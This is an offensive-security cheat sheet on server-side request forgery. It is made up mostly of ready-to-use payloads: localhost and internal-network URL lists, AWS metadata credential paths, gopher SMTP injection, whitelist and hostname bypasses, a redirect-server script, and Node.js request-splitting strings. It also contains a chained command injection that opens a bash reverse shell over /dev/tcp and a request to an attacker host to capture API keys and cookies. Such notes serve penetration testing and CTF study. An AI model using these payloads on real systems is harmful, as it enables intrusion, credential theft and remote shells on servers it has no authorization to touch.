SSRF (Server-Side Request Forgery)

Last modified: 2023-10-18

Web

SSRF is a type of exploit where an attacker abuses the functionality of a server causing it to access or manipulate information in the realm of that server that would otherwise not be directly accessibleto the attacker. SSRF is an attack against a server.

SSRF Capture Tools

If we want to capture incoming requests from target website/server, there is a lot of open-source tools available.

Ngrok

https://ngrok.com/

To start ngrok server, run the following.

ngrok http 80

# Force http scheme (not https)
ngrok http --scheme=http 8090 --host-header=localhost:8090

Then start your local web server for fetching requests forwarded from the ngrok server.

sudo python3 -m http.server 80
# or
python3 -m http.server 8090

After starting ngrok and local web server, we can use the URL such as https://abcd-12-3-45-678.ngrok-free.app.

Localhost.run

http://localhost.run/

As mentioned the official documentation,

# If you don't already have an SSH key, generate it first.
ssh-keygen -t rsa

# Port forwarding to your local 8080 port.
ssh -R 80:localhost:8080 localhost.run

After running the command above, copy generated URL such as abcdef123456789.lhr.life.
Requests sent to this URL will be forwarded to your localhost:8080.

LocalXpose

LocalXpose is a reverse proxy that enables you to expose your localhost to the internet. To use it, we need to sign up and Access Token.

  1. Login using Access Token.
loclx account login
  1. Open browser to access GUI version.
loclx

Pastebin

https://pastebin.com/

After writing the content in there, we can easily use the raw page such as https://pastebin.com/raw/abcdefgh.

Interactsh

Interactsh

interactsh-client -v

Other Tools

Local Web Server

Also we can simply open local web server if local machine accepts external requests.

python3 -m http.server 8000

HTTP (http://)

We may be able to use another server in the target machine.
For example, pass the localhost URL to the GET parameters.
Also These are available in POST params.

# Localhost
?url=http://localhost/
?url=http://127.0.0.1/
?url=http://127.0.0.1:80/
?url=http://127.0.0.1:3000/
?url=http://127.0.0.1:8000/
?url=http://127.0.0.1:8080/
?url=http://0/
?url=http://2130706433/
?url=http://017700000001/
?url=http://127.1/
?url=http://127.0.0.1/test.php%00
?url=http://127.0.0.1/test.php\x00

# Backend URL (e.g. 192.168.0.x)
?url=http://192.168.0.23/
?url=http://192.168.0.23:80/
?url=http://192.168.0.23:3000/
?url=http://192.168.0.23:8000/
?url=http://192.168.0.23:8080/

# Server status
?url=http://localhost/server-status

# At sign
?url=test@sub.example.com/index.php

Local Port Enumeration

We can find which port is opening by fuzzing port number.

seq 1 65535 | ffuf -u https://example.com/?url=http://127.0.0.1:FUZZ -w -

Gopher (gopher://)

We may be able to use gopher:// scheme.

Automation

We can use Gopherus to create a payload automatically.

SMTP

At first, we need to prepare a payload for sending message to victim user.

gopher://127.0.0.1:25/_MAIL FROM:<john@example.com>
RCPT TO:<mike@example.com>
DATA
From:john@gofer.htb
Subject:Test
Hi, I'm not hacker.
.

The payload above can be URL encoded with tools such as CyberChef. Then the encoded payload is as follow.

gopher://127.0.0.1:25/_MAIL%20FROM:%3Cjohn@example.com%3E%0ARCPT%20TO:%3Cmike@example.com%3E%0ADATA%0AFrom:john@gofer.htb%0ASubject:Test%0AHi,%20I'm%20not%20hacker.%0A.

We can use it to SSRF.

?url=gopher://127.0.0.1:25/_MAIL...

Listen HTTP Request

If the website is vulnerable to SSRF, we can fetch sensitive information in HTTP request by sniffing.
First off, start a listener in local machine.

sudo nc -lvp 80

Then send request that is affected by SSRF.

https://example.com/mail?server=http://evil.com

See the HTTP request in local machine.
We might be able to fetch the sensitive data such as API key, Cookie, etc.


OS Command Injection

?url=http://127.0.0.1:3000/test;whoami
?url=http://127.0.0.1:3000/test;ping+-c+1+10.0.0.1
# Reverse Shell
?url=http://127.0.0.1:3000/;bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Admin Operations

We may be able to operate significant stuff as the admin user via local server.

# Localhost
?url=http://localhost/admin
?url=http://localhost/admin/delete?username=john
?url=http://127.1/%25%36%31dmin

# Backend URL (e.g. 192.168.0.x)
?url=http://192.168.0.23/admin
?url=http://192.168.0.23/admin/delete?username=john

Whitelisted URL Bypass

If the target website allows only the whitelisted URL, we can use them.
Assume only "example.com" is allowed by the target website.

?url=http://localhost@example.com/
?url=http://localhost%25%32%33@example.com/

Open Redirect

key=/post/next?path=http://localhost/admin

AWS Instances

?url=http://169.254.169.254/latest/dynamic/instance-identity/
?url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Hostname Bypass

1. Add Target Domain to /etc/hosts in Local Machine

x.x.x.x sub.example.com

Restart the hostname service to apply the configuration imediately.

sudo systemctl restart systemd-hostnamed

2. Access to the Domain We Specified**

https://example.com/?proxy=https://sub.example.com

API Request

We might be able to get information from an API endpoint that is not accessible normally.

?url=https://api.example.com/users
?url=https://api.example.com@internal-api.example.com/users

Reveal Filtered Websites via Monitoring Tools (Webhook)

Some web apps may have monitoring tools that check the health of external websites.
You may be able to reveal hidden contents of the target via the monitor.
First off, create a redirect server using Python. Here it’s named “redirect.py”.

#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
  def do_GET(self):
      self.send_response(302)
      self.send_header('Location', sys.argv[1])
      self.end_headers()

HTTPServer(("0.0.0.0", 8000), Redirect).serve_forever()

After creating, run the following command.
Assume that the filtered port is 3000 (nmap will reveal it).

python3 redirect.py http://127.0.0.1:3000

And start listener for receiving the POST request of the webhook from the target website.

nc -lvnp 4444

Now set the configuration of the webhook. For example:

Payload URL: http://<local-ip>:4444/
Monitored URL: http://<local-ip>:8000/

You can see the contents of the filtered app.


Request Splitting

Reference: https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

It is the vulnerability of the Node.js http.get module, which allows attacker to insert HTTP headers and bodies by splitting request.
First off, prepare HTTP headers and body as below:

HTTP/1.1

POST /update HTTP1.1
Content-Length: 28

username=admin&password=newpass

GET

Then manipulate it for sending to target.

# \u0120: space
# \u010D: \r
# \u010A: \n
?url=http://example.com\u0120HTTP/1.1\u010D\u010APOST\u0120/update\u0120HTTP/1.1\u010D\u010AContent-Length:\u012028\u010D\u010A\u010D\u010Ausername=admin&password=pass\u010D\u010A\u010D\u010AGET\u0120